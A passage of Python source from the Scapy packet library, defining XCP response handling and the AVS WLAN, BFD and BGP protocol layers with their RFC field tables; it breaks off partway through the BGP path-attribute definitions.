0xD9: DAQResolutionInfoPositiveResponse, 0xD8: DAQListInfoPositiveResponse, 0xD7: DAQEventInfoPositiveResponse, 0xD2: ProgramStartPositiveResponse, 0xCE: PgmProcessorPositiveResponse, 0xCD: SectorInfoPositiveResponse, }.get(request_pid, GenericResponse) def answers(self, request): """In XCP, the payload of a response packet is dependent on the pid field of the corresponding request. This method changes the class of the payload to the class which is expected for the given request.""" if not isinstance(request, CTORequest): return False # FE: Negative Response # FD: Event Packet # FC: Service Packet # They are always a valid response if self.packet_code in [0xFE, 0xFD, 0xFC]: return True # FF: Positive Response if self.packet_code != 0xFF: return False payload_cls = self.get_positive_response_cls(request) minimum_expected_byte_count = len(payload_cls()) given_byte_count = len(self.payload) if given_byte_count < minimum_expected_byte_count: return False # Even if there are enough bytes, we can't be sure that they align # correctly to the fields. Then a struct.error exception is thrown. # For example # Fields: byte, byte, short # Packet: 01 02 03 # This would fail because there are enough bytes that scapy starts # to parse the short field, but there are actually not enough bytes # to fill it. try: data = bytes(self.payload) self.remove_payload() self.add_payload(payload_cls(data)) except struct.error: return False return True for pid in range(0, 0xFB + 1): bind_layers(CTOResponse, DTO, pid=pid) positive_response_classes = [ConnectPositiveResponse, StatusPositiveResponse, CommonModeInfoPositiveResponse, IdPositiveResponse, SeedPositiveResponse, UnlockPositiveResponse, UploadPositiveResponse, ShortUploadPositiveResponse, ChecksumPositiveResponse, CalPagePositiveResponse, PagProcessorInfoPositiveResponse, PageInfoPositiveResponse, SegmentModePositiveResponse, DAQListModePositiveResponse, StartStopDAQListPositiveResponse, DAQClockListPositiveResponse, ReadDAQPositiveResponse, DAQProcessorInfoPositiveResponse, DAQResolutionInfoPositiveResponse, DAQListInfoPositiveResponse, DAQEventInfoPositiveResponse, ProgramStartPositiveResponse, PgmProcessorPositiveResponse, SectorInfoPositiveResponse] for cls in positive_response_classes: bind_top_down(CTOResponse, cls, packet_code=0xFF) bind_layers(CTOResponse, NegativeResponse, packet_code=0xFE) # Asynchronous Event/request messages from the slave bind_layers(CTOResponse, EvPacket, packet_code=0xFD) bind_layers(CTOResponse, ServPacket, packet_code=0xFC) bind_bottom_up(XCPOnCAN, CTOResponse) bind_bottom_up(XCPOnUDP, CTOResponse) bind_bottom_up(XCPOnTCP, CTOResponse) ================================================ FILE: scapy/contrib/avs.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = AVS WLAN Monitor Header # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import IntEnumField, IntField, LongField, SignedIntField from scapy.layers.dot11 import Dot11 from scapy.data import DLT_IEEE802_11_RADIO_AVS from scapy.config import conf AVSWLANPhyType = {0: "Unknown", 1: "FHSS 802.11 '97", 2: "DSSS 802.11 '97", 3: "IR Baseband", 4: "DSSS 802.11b", 5: "PBCC 802.11b", 6: "OFDM 802.11g", 7: "PBCC 802.11g", 8: "OFDM 802.11a"} AVSWLANEncodingType = {0: "Unknown", 1: "CCK", 2: "PBCC", 3: "OFDM"} AVSWLANSSIType = {0: "None", 1: "Normalized RSSI", 2: "dBm", 3: "Raw RSSI"} AVSWLANPreambleType = {0: "Unknown", 1: "Short", 2: "Long"} class AVSWLANHeader(Packet): """ iwpriv eth1 set_prismhdr 1 """ name = "AVS WLAN Monitor Header" fields_desc = [IntField("version", 1), IntField("len", 64), LongField("mactime", 0), LongField("hosttime", 0), IntEnumField("phytype", 0, AVSWLANPhyType), IntField("channel", 0), IntField("datarate", 0), IntField("antenna", 0), IntField("priority", 0), IntEnumField("ssi_type", 0, AVSWLANSSIType), SignedIntField("ssi_signal", 0), SignedIntField("ssi_noise", 0), IntEnumField("preamble", 0, AVSWLANPreambleType), IntEnumField("encoding", 0, AVSWLANEncodingType), ] conf.l2types.register(DLT_IEEE802_11_RADIO_AVS, AVSWLANHeader) bind_layers(AVSWLANHeader, Dot11) ================================================ FILE: scapy/contrib/bfd.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Parag Bhide """ BFD - Bidirectional Forwarding Detection - RFC 5880, 5881, 7130, 7881 """ # scapy.contrib.description = BFD # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import ( BitField, BitEnumField, ByteEnumField, XNBytesField, XByteField, MultipleTypeField, IntField, FieldLenField, FlagsField, ByteField, PacketField, ConditionalField, StrFixedLenField, ) from scapy.layers.inet import UDP _sta_names = { 0: "AdminDown", 1: "Down", 2: "Init", 3: "Up", } # https://www.iana.org/assignments/bfd-parameters/bfd-parameters.xhtml _diagnostics = { 0: "No Diagnostic", 1: "Control Detection Time Expired", 2: "Echo Function Failed", 3: "Neighbor Signaled Session Down", 4: "Forwarding Plane Reset", 5: "Path Down", 6: "Concatenated Path Down", 7: "Administratively Down", 8: "Reverse Concatenated Path Down", 9: "Mis-Connectivity Defect", } # https://www.rfc-editor.org/rfc/rfc5880 [Page 10] _authentification_type = { 0: "Reserved", 1: "Simple Password", 2: "Keyed MD5", 3: "Meticulous Keyed MD5", 4: "Keyed SHA1", 5: "Meticulous Keyed SHA1", } class OptionalAuth(Packet): name = "Optional Auth" fields_desc = [ ByteEnumField("auth_type", 1, _authentification_type), FieldLenField( "auth_len", None, fmt="B", length_of="auth_key", adjust=lambda pkt, x: x + 3 if pkt.auth_type <= 1 else x + 8, ), ByteField("auth_keyid", 1), ConditionalField( XByteField("reserved", 0), lambda pkt: pkt.auth_type > 1, ), ConditionalField( IntField("sequence_number", 0), lambda pkt: pkt.auth_type > 1, ), MultipleTypeField( [ ( StrFixedLenField( "auth_key", "", length_from=lambda pkt: pkt.auth_len ), lambda pkt: pkt.auth_type == 0, ), ( XNBytesField("auth_key", 0x5F4DCC3B5AA765D61D8327DEB882CF99, 16), lambda pkt: pkt.auth_type == 2 or pkt.auth_type == 3, ), ( XNBytesField( "auth_key", 0x5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8, 20 ), lambda pkt: pkt.auth_type == 4 or pkt.auth_type == 5, ), ], StrFixedLenField( "auth_key", "password", length_from=lambda pkt: pkt.auth_len ), ), ] class BFD(Packet): name = "BFD" fields_desc = [ BitField("version", 1, 3), BitEnumField("diag", 0, 5, _diagnostics), BitEnumField("sta", 3, 2, _sta_names), FlagsField("flags", 0, 6, "MDACFP"), ByteField("detect_mult", 3), FieldLenField( "len", None, fmt="B", length_of="optional_auth", adjust=lambda pkt, x: x + 24, ), BitField("my_discriminator", 0x11111111, 32), BitField("your_discriminator", 0x22222222, 32), BitField("min_tx_interval", 1000000000, 32), BitField("min_rx_interval", 1000000000, 32), BitField("echo_rx_interval", 1000000000, 32), ConditionalField( PacketField("optional_auth", None, OptionalAuth), lambda pkt: pkt.flags.names[2] == "A", ), ] def mysummary(self): return self.sprintf( "BFD (my_disc=%BFD.my_discriminator%," "your_disc=%BFD.your_discriminator%," "state=%BFD.sta%)" ) for _bfd_port in [ 3784, # single-hop BFD 4784, # multi-hop BFD 6784, # BFD for LAG a.k.a micro-BFD 7784, # seamless BFD ]: bind_bottom_up(UDP, BFD, dport=_bfd_port) bind_bottom_up(UDP, BFD, sport=_bfd_port) bind_layers(UDP, BFD, dport=_bfd_port, sport=_bfd_port) ================================================ FILE: scapy/contrib/bgp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = BGP v0.1 # scapy.contrib.status = loads """ BGP (Border Gateway Protocol). """ import struct import re import socket from scapy import pton_ntop from scapy.packet import Packet, Packet_metaclass, bind_layers from scapy.fields import (Field, BitField, BitEnumField, XBitField, ByteField, ByteEnumField, ShortField, ShortEnumField, IntField, IntEnumField, LongField, IEEEFloatField, StrField, StrLenField, StrFixedLenField, FieldLenField, FieldListField, PacketField, PacketListField, IPField, FlagsField, ConditionalField, MultiEnumField) from scapy.layers.inet import TCP from scapy.layers.inet6 import IP6Field from scapy.config import conf, ConfClass from scapy.compat import orb, chb from scapy.error import log_runtime # # Module configuration # class BGPConf(ConfClass): """ BGP module configuration. """ # By default, set to True in order to behave like an OLD speaker (RFC 6793) use_2_bytes_asn = True bgp_module_conf = BGPConf() # # Constants # # RFC 4271: "The maximum message size is 4096 octets. All implementations are # required to support this maximum message size." BGP_MAXIMUM_MESSAGE_SIZE = 4096 # RFC 4271: "Each message has a fixed-size header." Marker (16 bytes) + # Length (2 bytes) + Type (1 byte) _BGP_HEADER_SIZE = 19 # Marker included in every message (RFC 4271: "This 16-octet field is # included for compatibility; it MUST be set to all ones") _BGP_HEADER_MARKER = b"\xff" * 16 # extended-length flag (RFC 4271 4.3. UPDATE Message Format - # Path Attributes) _BGP_PA_EXTENDED_LENGTH = 0x10 # RFC 5492 (at least 2 bytes : code + length) _BGP_CAPABILITY_MIN_SIZE = 2 # RFC 5492 (at least 3 bytes : type code + length) _BGP_PATH_ATTRIBUTE_MIN_SIZE = 3 # # Fields and utilities # def _bits_to_bytes_len(length_in_bits): """ Helper function that returns the numbers of bytes necessary to store the given number of bits. """ return (length_in_bits + 7) // 8 class BGPFieldIPv4(Field): """ IPv4 Field (CIDR) """ def mask2iplen(self, mask): """Get the IP field mask length (in bytes).""" return (mask + 7) // 8 def h2i(self, pkt, h): """x.x.x.x/y to "internal" representation.""" ip, mask = re.split("/", h) return int(mask), ip def i2h(self, pkt, i): """"Internal" representation to "human" representation (x.x.x.x/y).""" mask, ip = i return ip + "/" + str(mask) def i2repr(self, pkt, i): return self.i2h(pkt, i) def i2len(self, pkt, i): mask, _ = i return self.mask2iplen(mask) + 1 def i2m(self, pkt, i): """"Internal" (IP as bytes, mask as int) to "machine" representation.""" mask, ip = i ip = socket.inet_aton(ip) return struct.pack(">B", mask) + ip[:self.mask2iplen(mask)] def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): length = self.mask2iplen(orb(s[0])) + 1 return s[length:], self.m2i(pkt, s[:length]) def m2i(self, pkt, m): mask = orb(m[0]) mask2iplen_res = self.mask2iplen(mask) ip = b"".join(m[i + 1:i + 2] if i < mask2iplen_res else b"\x00" for i in range(4)) # noqa: E501 return (mask, socket.inet_ntoa(ip)) class BGPFieldIPv6(Field): """IPv6 Field (CIDR)""" def mask2iplen(self, mask): """Get the IP field mask length (in bytes).""" return (mask + 7) // 8 def h2i(self, pkt, h): """x.x.x.x/y to internal representation.""" ip, mask = re.split("/", h) return int(mask), ip def i2h(self, pkt, i): """"Internal" representation to "human" representation.""" mask, ip = i return ip + "/" + str(mask) def i2repr(self, pkt, i): return self.i2h(pkt, i) def i2len(self, pkt, i): mask, ip = i return self.mask2iplen(mask) + 1 def i2m(self, pkt, i): """"Internal" (IP as bytes, mask as int) to "machine" representation.""" # noqa: E501 mask, ip = i ip = pton_ntop.inet_pton(socket.AF_INET6, ip) return struct.pack(">B", mask) + ip[:self.mask2iplen(mask)] def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): length = self.mask2iplen(orb(s[0])) + 1 return s[length:], self.m2i(pkt, s[:length]) def m2i(self, pkt, m): mask = orb(m[0]) ip = b"".join(m[i + 1:i + 2] if i < self.mask2iplen(mask) else b"\x00" for i in range(16)) # noqa: E501 return (mask, pton_ntop.inet_ntop(socket.AF_INET6, ip)) def has_extended_length(flags): """ Used in BGPPathAttr to check if the extended-length flag is set. """ return flags & _BGP_PA_EXTENDED_LENGTH == _BGP_PA_EXTENDED_LENGTH def detect_add_path_prefix46(s, max_bit_length): """ Detect IPv4/IPv6 prefixes conform to BGP Additional Path but NOT conform to standard BGP.. This is an adapted version of wireshark's detect_add_path_prefix46 https://github.com/wireshark/wireshark/blob/ed9e958a2ed506220fdab320738f1f96a3c2ffbb/epan/dissectors/packet-bgp.c#L2905 Kudos to them ! """ # Must be compatible with BGP Additional Path i = 0 while i + 4 < len(s): i += 4 prefix_len = orb(s[i]) if prefix_len > max_bit_length: return False addr_len = (prefix_len + 7) // 8 i += 1 + addr_len if i > len(s): return False if prefix_len % 8: if orb(s[i - 1]) & (0xFF >> (prefix_len % 8)): return False # Must NOT be compatible with standard BGP i = 0 while i + 4 < len(s): prefix_len = orb(s[i]) if prefix_len == 0 and len(s) > 1: return True if prefix_len > max_bit_length: return True addr_len = (prefix_len + 7) // 8 i += 1 + addr_len if i > len(s): return True if prefix_len % 8: if orb(s[i - 1]) & (0xFF >> (prefix_len % 8)): return True return False class BGPNLRI_IPv4(Packet): """ Packet handling IPv4 NLRI fields. """ name = "IPv4 NLRI" fields_desc = [BGPFieldIPv4("prefix", "0.0.0.0/0")] def default_payload_class(self, payload): return conf.padding_layer class BGPNLRI_IPv6(Packet): """ Packet handling IPv6 NLRI fields. """ name = "IPv6 NLRI" fields_desc = [BGPFieldIPv6("prefix", "::/0")] def default_payload_class(self, payload): return conf.padding_layer class BGPNLRI_IPv4_AP(BGPNLRI_IPv4): """ Packet handling IPv4 NLRI fields WITH BGP ADDITIONAL PATH """ name = "IPv4 NLRI (Additional Path)" fields_desc = [IntField("nlri_path_id", 0), BGPFieldIPv4("prefix", "0.0.0.0/0")] class BGPNLRI_IPv6_AP(BGPNLRI_IPv6): """ Packet handling IPv6 NLRI fields WITH BGP ADDITIONAL PATH """ name = "IPv6 NLRI (Additional Path)" fields_desc = [IntField("nlri_path_id", 0), BGPFieldIPv6("prefix", "::/0")] class BGPNLRIPacketListField(PacketListField): """ PacketListField handling NLRI fields. """ __slots__ = ["max_bit_length", "cls_group", "no_length"] def __init__(self, name, default, ip_mode, **kwargs): super(BGPNLRIPacketListField, self).__init__( name, default, Packet, **kwargs ) self.max_bit_length, self.cls_group = { "IPv4": (32, [BGPNLRI_IPv4, BGPNLRI_IPv4_AP]), "IPv6": (128, [BGPNLRI_IPv6, BGPNLRI_IPv6_AP]), }[ip_mode] self.no_length = "length_from" not in kwargs def getfield(self, pkt, s): if self.no_length: index = s.find(_BGP_HEADER_MARKER) if index == 0: return s, [] if index != -1: self.length_from = lambda pkt: index remain = s[:self.length_from(pkt)] if self.length_from else s cls = self.cls_group[ detect_add_path_prefix46(remain, self.max_bit_length) ] self.next_cls_cb = lambda *args: cls res = super(BGPNLRIPacketListField, self).getfield(pkt, s) if self.no_length: self.length_from = None return res class _BGPInvalidDataException(Exception): """ Raised when it is not possible to instantiate a BGP packet with the given data. """ def __init__(self, details): Exception.__init__( self, "Impossible to build packet from the given data" + details ) def _get_cls(name, fallback_cls=conf.raw_layer): """ Returns class named "name" if it exists, fallback_cls otherwise. """ return globals().get(name, fallback_cls) # # Common dictionaries # _bgp_message_types = { 0: "NONE", 1: "OPEN", 2: "UPDATE", 3: "NOTIFICATION", 4: "KEEPALIVE", 5: "ROUTE-REFRESH" } # # AFIs # address_family_identifiers = { 0: "Reserved", 1: "IP (IP version 4)", 2: "IP6 (IP version 6)", 3: "NSAP", 4: "HDLC (8-bit multidrop)", 5: "BBN 1822", 6: "802 (includes all 802 media plus Ethernet \"canonical format\")", 7: "E.163", 8: "E.164 (SMDS, Frame Relay, ATM)", 9: "F.69 (Telex)", 10: "X.121 (X.25, Frame Relay)", 11: "IPX", 12: "Appletalk", 13: "Decnet IV", 14: "Banyan Vines", 15: "E.164 with NSAP format subaddress", # ANDY_MALIS 16: "DNS (Domain Name System)", 17: "Distinguished Name", # CHARLES_LYNN 18: "AS Number", # CHARLES_LYNN 19: "XTP over IP version 4", # MIKE_SAUL 20: "XTP over IP version 6", # MIKE_SAUL 21: "XTP native mode XTP", # MIKE_SAUL 22: "Fibre Channel World-Wide Port Name", # MARK_BAKKE 23: "Fibre Channel World-Wide Node Name", # MARK_BAKKE 24: "GWID", # SUBRA_HEGDE 25: "AFI for L2VPN information", # RFC 6074 26: "MPLS-TP Section Endpoint Identifier", # RFC 7212 27: "MPLS-TP LSP Endpoint Identifier", # RFC 7212 28: "MPLS-TP Pseudowire Endpoint Identifier", # RFC 7212 29: "MT IP: Multi-Topology IP version 4", # RFC 7307 30: "MT IPv6: Multi-Topology IP version 6", # RFC 7307 16384: "EIGRP Common Service Family", # DONNIE_SAVAGE 16385: "EIGRP IPv4 Service Family", # DONNIE_SAVAGE 16386: "EIGRP IPv6 Service Family", # DONNIE_SAVAGE 16387: "LISP Canonical Address Format (LCAF)", # DAVID_MEYER 16388: "BGP-LS", # RFC 7752 16389: "48-bit MAC", # RFC 7042 16390: "64-bit MAC", # RFC 7042 16391: "OUI", # draft-ietf-trill-ia-appsubtlv 16392: "MAC/24", # draft-ietf-trill-ia-appsubtlv 16393: "MAC/40", # draft-ietf-trill-ia-appsubtlv 16394: "IPv6/64", # draft-ietf-trill-ia-appsubtlv 16395: "RBridge Port ID", # draft-ietf-trill-ia-appsubtlv 16396: "TRILL Nickname", # RFC 7455 65535: "Reserved" } subsequent_afis = { 0: "Reserved", # RFC 4760 1: "Network Layer Reachability Information used for unicast forwarding", # RFC 4760 # noqa: E501 2: "Network Layer Reachability Information used for multicast forwarding", # RFC 4760 # noqa: E501 3: "Reserved", # RFC 4760 4: "Network Layer Reachability Information (NLRI) with MPLS Labels", # RFC 3107 # noqa: E501 5: "MCAST-VPN", # RFC 6514 6: "Network Layer Reachability Information used for Dynamic Placement of\ Multi-Segment Pseudowires", # RFC 7267 7: "Encapsulation SAFI", # RFC 5512 8: "MCAST-VPLS", # RFC 7117 64: "Tunnel SAFI", # DRAFT-NALAWADE-KAPOOR-TUNNEL-SAFI-01 65: "Virtual Private LAN Service (VPLS)", # RFC 6074 66: "BGP MDT SAFI", # RFC 6037 67: "BGP 4over6 SAFI", # RFC 5747 68: "BGP 6over4 SAFI", # YONG_CUI 69: "Layer-1 VPN auto-discovery information", # RFC 5195 70: "BGP EVPNs", # RFC 7432 71: "BGP-LS", # RFC 7752 72: "BGP-LS-VPN", # RFC 7752 128: "MPLS-labeled VPN address", # RFC 4364 129: "Multicast for BGP/MPLS IP Virtual Private Networks (VPNs)", # RFC 6514 # noqa: E501 132: "Route Target constraint", # RFC 4684 133: "IPv4 dissemination of flow specification rules", # RFC 5575 134: "VPNv4 dissemination of flow specification rules", # RFC 5575 140: "VPN auto-discovery", # draft-ietf-l3vpn-bgpvpn-auto 255: "Reserved" # RFC 4760 } # Used by _bgp_dispatcher to instantiate the appropriate class _bgp_cls_by_type = { 1: "BGPOpen", 2: "BGPUpdate", 3: "BGPNotification", 4: "BGPKeepAlive", 5: "BGPRouteRefresh", } # # Header # class BGPHeader(Packet): """ The header of any BGP message. References: RFC 4271 """ name = "HEADER" fields_desc = [ XBitField( "marker", 0xffffffffffffffffffffffffffffffff, 0x80 ), ShortField("len", None), ByteEnumField("type", 4, _bgp_message_types) ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Returns the right class for the given data. """ return _bgp_dispatcher(_pkt) @classmethod def tcp_reassemble(cls, data, *args, **kwargs): if len(data) < 18: return None if data[:16] == _BGP_HEADER_MARKER: length = struct.unpack("!H", data[16:18])[0] if len(data) >= length: return cls(data[:length]) / conf.padding_layer(data[length:]) else: return cls(data) def post_build(self, p, pay): if self.len is None: length = len(p) if pay: length = length + len(pay) p = p[:16] + struct.pack("!H", length) + p[18:] return p + pay def guess_payload_class(self, payload): return _get_cls(_bgp_cls_by_type.get(self.type, conf.raw_layer), conf.raw_layer) # noqa: E501 def _bgp_dispatcher(payload): """ Returns the right class for a given BGP message. """ cls = conf.raw_layer # By default, calling BGP() will build a BGPHeader. if payload is None: cls = _get_cls("BGPHeader", conf.raw_layer) else: if len(payload) >= _BGP_HEADER_SIZE and\ payload[:16] == _BGP_HEADER_MARKER: # Get BGP message type message_type = orb(payload[18]) if message_type == 4: cls = _get_cls("BGPKeepAlive") else: cls = _get_cls("BGPHeader") return cls class BGP(Packet): """ Every BGP message inherits from this class. """ # # BGP messages types OPEN_TYPE = 1 UPDATE_TYPE = 2 NOTIFICATION_TYPE = 3 KEEPALIVE_TYPE = 4 ROUTEREFRESH_TYPE = 5 @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Returns the right class for the given data. """ return _bgp_dispatcher(_pkt) tcp_reassemble = BGPHeader.tcp_reassemble def guess_payload_class(self, p): cls = None if len(p) > 15 and p[:16] == _BGP_HEADER_MARKER: cls = BGPHeader return cls # # KEEPALIVE # class BGPKeepAlive(BGP, BGPHeader): """ KEEPALIVE message. """ name = "KEEPALIVE" # # OPEN # # # Optional Parameters Codes # optional_parameter_codes = { 0: "Reserved", 1: "Authentication (deprecated)", 2: "Capabilities" } # # Capabilities # _capabilities = { 0: "Reserved", # RFC 5492 1: "Multiprotocol Extensions for BGP-4", # RFC 2858 2: "Route Refresh Capability for BGP-4", # RFC 2918 3: "Outbound Route Filtering Capability", # RFC 5291 4: "Multiple routes to a destination capability", # RFC 3107 5: "Extended Next Hop Encoding", # RFC 5549 6: "BGP-Extended Message", # (TEMPORARY - registered 2015-09-30, expires 2016-09-30), # noqa: E501 # draft-ietf-idr-bgp-extended-messages 64: "Graceful Restart Capability", # RFC 4724 65: "Support for 4-octet AS number capability", # RFC 6793 66: "Deprecated (2003-03-06)", 67: "Support for Dynamic Capability (capability specific)", # draft-ietf-idr-dynamic-cap # noqa: E501 68: "Multisession BGP Capability", # draft-ietf-idr-bgp-multisession 69: "ADD-PATH Capability", # RFC-ietf-idr-add-paths-15 70: "Enhanced Route Refresh Capability", # RFC 7313 71: "Long-Lived Graceful Restart (LLGR) Capability", # draft-uttaro-idr-bgp-persistence # noqa: E501 73: "FQDN Capability", # draft-walton-bgp-hostname-capability 128: "Route Refresh Capability for BGP-4 (Cisco)", # Cisco also uses 128 for RR capability # noqa: E501 130: "Outbound Route Filtering Capability (Cisco)", # Cisco also uses 130 for ORF capability # noqa: E501 } _capabilities_objects = { 0x01: "BGPCapMultiprotocol", # RFC 2858 0x02: "BGPCapGeneric", # RFC 2918 0x03: "BGPCapORF", # RFC 5291 0x40: "BGPCapGracefulRestart", # RFC 4724 0x41: "BGPCapFourBytesASN", # RFC 4893 0x46: "BGPCapGeneric", # Enhanced Route Refresh Capability, RFC 7313 0x82: "BGPCapORF", # ORF / RFC 5291 (Cisco) } def _register_cls(registry, cls): registry[cls.__name__] = cls return cls _capabilities_registry = {} def _bgp_capability_dispatcher(payload): """ Returns the right class for a given BGP capability. """ cls = _capabilities_registry["BGPCapGeneric"] # By default, calling BGPCapability() will build a "generic" capability. if payload is None: cls = _capabilities_registry["BGPCapGeneric"] else: length = len(payload) if length >= _BGP_CAPABILITY_MIN_SIZE: code = orb(payload[0]) cls = _get_cls(_capabilities_objects.get(code, "BGPCapGeneric")) return cls class _BGPCap_metaclass(type): def __new__(cls, clsname, bases, attrs): newclass = super(_BGPCap_metaclass, cls).__new__( cls, clsname, bases, attrs) _register_cls(_capabilities_registry, newclass) return newclass class _BGPCapability_metaclass(_BGPCap_metaclass, Packet_metaclass): pass class BGPCapability(Packet, metaclass=_BGPCapability_metaclass): """ Generic BGP capability. """ @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Returns the right class for the given data. """ return _bgp_capability_dispatcher(_pkt) def pre_dissect(self, s): """ Check that the payload is long enough (at least 2 bytes). """ length = len(s) if length < _BGP_CAPABILITY_MIN_SIZE: err = " ({}".format(length) + " is < _BGP_CAPABILITY_MIN_SIZE " err += "({})).".format(_BGP_CAPABILITY_MIN_SIZE) raise _BGPInvalidDataException(err) return s def post_build(self, p, pay): length = 0 if self.length is None: # capability packet length - capability code (1 byte) - # capability length (1 byte) length = len(p) - 2 p = p[:1] + chb(length) + p[2:] return p + pay class BGPCapGeneric(BGPCapability): """ This class provides an implementation of a generic capability. """ name = "BGP Capability" match_subclass = True fields_desc = [ ByteEnumField("code", 0, _capabilities), FieldLenField("length", None, fmt="B", length_of="cap_data"), StrLenField("cap_data", '', length_from=lambda p: p.length, max_length=255), ] # # Multiprotocol Extensions for BGP-4 # class BGPCapMultiprotocol(BGPCapability): """ This class provides an implementation of the Multiprotocol capability. References: RFC 4760 """ name = "Multiprotocol Extensions for BGP-4" match_subclass = True fields_desc = [ ByteEnumField("code", 1, _capabilities), ByteField("length", 4), ShortEnumField("afi", 0, address_family_identifiers), ByteField("reserved", 0), ByteEnumField("safi", 0, subsequent_afis) ] # # Outbound Route Filtering Capability for BGP-4 # _orf_types = { 0: "Reserved", # RFC 5291 64: "Address Prefix ORF", # RFC 5292 65: "CP-ORF", # RFC 7543 } send_receive_values = { 1: "receive", 2: "send", 3: "receive + send" } class BGPCapORFBlock(Packet): """ The "ORFBlock" is made of entries. """ class ORFTuple(Packet): """ Packet handling tuples. """ # (ORF Type (1 octet) / Send/Receive (1 octet)) .... name = "ORF Type" fields_desc = [ ByteEnumField("orf_type", 0, _orf_types), ByteEnumField("send_receive", 0, send_receive_values) ] name = "ORF Capability Entry" fields_desc = [ ShortEnumField("afi", 0, address_family_identifiers), ByteField("reserved", 0), ByteEnumField("safi", 0, subsequent_afis), FieldLenField( "orf_number", None, count_of="entries", fmt="!B" ), PacketListField( "entries", [], ORFTuple, count_from=lambda p: p.orf_number, max_count=20000, ) ] def post_build(self, p, pay): count = None if self.orf_number is None: count = len(self.entries) # orf_type (1 byte) + send_receive (1 byte) # noqa: E501 p = p[:4] + struct.pack("!B", count) + p[5:] return p + pay class BGPCapORFBlockPacketListField(PacketListField): """ Handles lists of BGPCapORFBlocks. """ def getfield(self, pkt, s): lst = [] length = None if self.length_from is not None: length = self.length_from(pkt) remain = s if length is not None: remain = s[:length] while remain: # block length: afi (2 bytes) + reserved (1 byte) + safi (1 byte) + # orf_number (1 byte) + entries (2 bytes * orf_number) orf_number = orb(remain[4]) entries_length = orf_number * 2 current = remain[:5 + entries_length] remain = remain[5 + entries_length:] packet = self.m2i(pkt, current) lst.append(packet) return remain, lst class BGPCapORF(BGPCapability): """ This class provides an implementation of the Outbound Route Filtering capability. References: RFC 5291 """ name = "Outbound Route Filtering Capability" match_subclass = True fields_desc = [ ByteEnumField("code", 3, _capabilities), ByteField("length", None), BGPCapORFBlockPacketListField( "orf", [], BGPCapORFBlock, length_from=lambda p: p.length, max_count=20000, ) ] # # Graceful Restart capability # gr_address_family_flags = { 128: "Forwarding state preserved (0x80: F bit set)" } class BGPCapGracefulRestart(BGPCapability): """ This class provides an implementation of the Graceful Restart capability. References: RFC 4724 """ class GRTuple(Packet): """Tuple """ name = "" fields_desc = [ShortEnumField("afi", 0, address_family_identifiers), ByteEnumField("safi", 0, subsequent_afis), ByteEnumField("flags", 0, gr_address_family_flags)] name = "Graceful Restart Capability" match_subclass = True fields_desc = [ByteEnumField("code", 64, _capabilities), ByteField("length", None), BitField("restart_flags", 0, 4), BitField("restart_time", 0, 12), PacketListField("entries", [], GRTuple)] # # Support for 4-octet AS number capability # class BGPCapFourBytesASN(BGPCapability): """ This class provides an implementation of the 4-octet AS number capability. References: RFC 4893 """ name = "Support for 4-octet AS number capability" match_subclass = True fields_desc = [ByteEnumField("code", 65, _capabilities), ByteField("length", 4), IntField("asn", 0)] # # Authentication Information optional parameter. # class BGPAuthenticationInformation(Packet): """ Provides an implementation of the Authentication Information optional parameter, which is now obsolete. References: RFC 1771, RFC 1654, RFC 4271 """ name = "BGP Authentication Data" fields_desc = [ByteField("authentication_code", 0), StrField("authentication_data", None)] # # Optional Parameter. # class BGPOptParamPacketListField(PacketListField): """ PacketListField handling the optional parameters (OPEN message). """ def getfield(self, pkt, s): lst = [] length = 0 if self.length_from is not None: length = self.length_from(pkt) remain = s if length is not None: remain, ret = s[:length], s[length:] while remain: param_len = orb(remain[1]) # Get param length current = remain[:2 + param_len] remain = remain[2 + param_len:] packet = self.m2i(pkt, current) lst.append(packet) return remain + ret, lst class BGPOptParam(Packet): """ Provides an implementation the OPEN message optional parameters. References: RFC 4271 """ name = "Optional parameter" fields_desc = [ ByteEnumField("param_type", 2, optional_parameter_codes), ByteField("param_length", None), ConditionalField( PacketField( "param_value", None, BGPCapability ), lambda p: p.param_type == 2 ), # It"s obsolete, but one can use it provided that # param_type == 1. ConditionalField( PacketField( "authentication_data", None, BGPAuthenticationInformation ), lambda p: p.param_type == 1 ) ] def post_build(self, p, pay): length = None packet = p if self.param_length is None: if self.param_value is None and self.authentication_data is None: length = 0 else: length = len(p) - \ 2 # parameter type (1 byte) - parameter length (1 byte) packet = p[:1] + chb(length) if (self.param_type == 2 and self.param_value is not None) or\ (self.param_type == 1 and self.authentication_data is not None): # noqa: E501 packet = packet + p[2:] return packet + pay # # OPEN # class BGPOpen(BGP): """ OPEN messages are exchanged in order to open a new BGP session. References: RFC 4271 """ name = "OPEN" fields_desc = [ ByteField("version", 4), ShortField("my_as", 0), ShortField("hold_time", 0), IPField("bgp_id", "0.0.0.0"), FieldLenField( "opt_param_len", None, length_of="opt_params", fmt="!B" ), BGPOptParamPacketListField( "opt_params", [], BGPOptParam, length_from=lambda p: p.opt_param_len ) ] def post_build(self, p, pay): if self.opt_param_len is None: length = len(p) - 10 # 10 is regular length with no additional # options p = p[:9] + struct.pack("!B", length) + p[10:] return p + pay # # UPDATE # # # Path attributes # # # Dictionaries path_attributes = { 0: "Reserved", 1: "ORIGIN", # RFC 4271 2: "AS_PATH", # RFC 4271 3: "NEXT_HOP", # RFC 4271 4: "MULTI_EXIT_DISC", # RFC 4271 5: "LOCAL_PREF", # RFC 4271 6: "ATOMIC_AGGREGATE", # RFC 4271 7: "AGGREGATOR", # RFC 4271 8: "COMMUNITY", # RFC 1997 9: "ORIGINATOR_ID", # RFC 4456 10: "CLUSTER_LIST", # RFC 4456 11: "DPA (deprecated)", # RFC 6938 12: "ADVERTISER (Historic) (deprecated)", # RFC 4223, RFC 6938 13: "RCID_PATH / CLUSTER_ID (Historic) (deprecated)", # RFC 4223, RFC 